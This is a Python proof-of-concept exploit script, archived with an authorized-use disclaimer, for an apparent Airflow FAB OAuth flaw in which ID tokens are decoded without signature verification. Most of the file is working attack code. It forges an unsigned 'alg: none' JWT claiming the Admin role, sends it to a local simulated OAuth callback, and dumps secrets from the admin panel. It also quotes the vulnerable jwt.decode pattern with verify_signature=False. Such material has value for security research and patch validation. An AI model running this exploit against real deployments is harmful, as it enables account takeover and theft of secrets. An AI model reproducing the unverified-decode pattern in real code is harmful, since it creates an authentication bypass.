#!/usr/bin/env python3 # --------------------------------------------------------------------------- # ARCHIVE COPY - educational / authorized security research only. # Do not run against systems you do not own or have explicit written # permission to test. Executing this script against a third-party host is # illegal in most jurisdictions. # # Upstream: https://github.com/MalHyuk/CVE-2026-59243 (MIT License) # Archived: 2026-11-27 by the poc-archive project, with attribution. # --------------------------------------------------------------------------- """ [VULN-10] Airflow FAB OAuth JWT Bypass → Admin Takeover ========================================================= Target : http://localhost:5002 (FAB Auth Manager simulation) Vuln : providers/fab/.../security_manager/override.py:414,2341 jwt.decode(id_token, options={"verify_signature": False}) How it works: The FAB auth manager decodes JWT tokens from Authentik and Azure AD OAuth with verify_signature=False. This means ANY JWT — even one with no signature at all (alg: none) — is accepted as valid. The attacker forges a JWT claiming to be admin@company.com with Admin role. No private key or secret is needed. The server trusts it blindly. Environment Setup: cd ~/ibb-bounty/docker-exploit sudo docker compose up -d airflow-jwt # Starts target on port 5002 python3 exploit_airflow_jwt.py # Runs exploit Docker Container: - Image: python:3.12-slim + flask + pyjwt - Simulates FAB OAuth callback with verify_signature=False - /oauth/callback accepts forged JWT → authenticates user - /admin returns secrets if role == Admin Vulnerable Code (override.py): Line 414 (Authentik): me = jwt.decode(id_token, options={"verify_signature": False}) Line 2332-2341 (Azure AD): verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False) return jwt.decode(id_token, options={"verify_signature": False}) """ from pwn import * import base64, json, urllib.error, urllib.parse, urllib.request TARGET = "http://localhost:5002" context.log_level = "info" def forge_jwt(email, name, role): """Create a JWT with no signature (alg: none). No key needed.""" header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=") payload = base64.urlsafe_b64encode(json.dumps({ "sub": email, "email": email, "name": name, "preferred_username": email.split("@")[0], "roles": [role], "iss": "https://authentik.company.com", "aud": "airflow-client-id", "exp": 9999999999, }).encode()).rstrip(b"=") return f"{header.decode()}.{payload.decode()}." log.info(f"Target: {TARGET}") # Step 1: Forge admin JWT token = forge_jwt("admin@company.com", "Hacked Admin", "Admin") log.info(f"Forged JWT: {token[:60]}...") # Step 2: OAuth callback — authenticate with forged token log.info("Sending forged token to OAuth callback...") resp = urllib.request.urlopen(f"{TARGET}/oauth/callback?id_token={urllib.parse.quote(token)}") result = json.loads(resp.read()) log.success(f"Authenticated as: {result['email']} (role={result['role']})") log.warning(result["WARNING"]) # Step 3: Access admin panel with forged token log.info("Accessing admin panel with forged Admin token...") req = urllib.request.Request(f"{TARGET}/admin", headers={"Authorization": f"Bearer {token}"}) resp = urllib.request.urlopen(req) admin = json.loads(resp.read()) log.success(f"{admin['status']} — {admin['panel']}") log.success("Secrets leaked:") for k, v in admin["secrets"].items(): print(f" {k}: {v}") log.success(admin["message"]) # Step 4: Prove Viewer can't access (role enforcement works) log.info("Proving Viewer role is blocked...") viewer_token = forge_jwt("viewer@company.com", "Viewer", "Viewer") req = urllib.request.Request(f"{TARGET}/admin", headers={"Authorization": f"Bearer {viewer_token}"}) try: urllib.request.urlopen(req) except urllib.error.HTTPError as e: r = json.loads(e.read()) log.info(f"HTTP {e.code}: {r['error']} → Viewer blocked, but attacker just forges Admin role")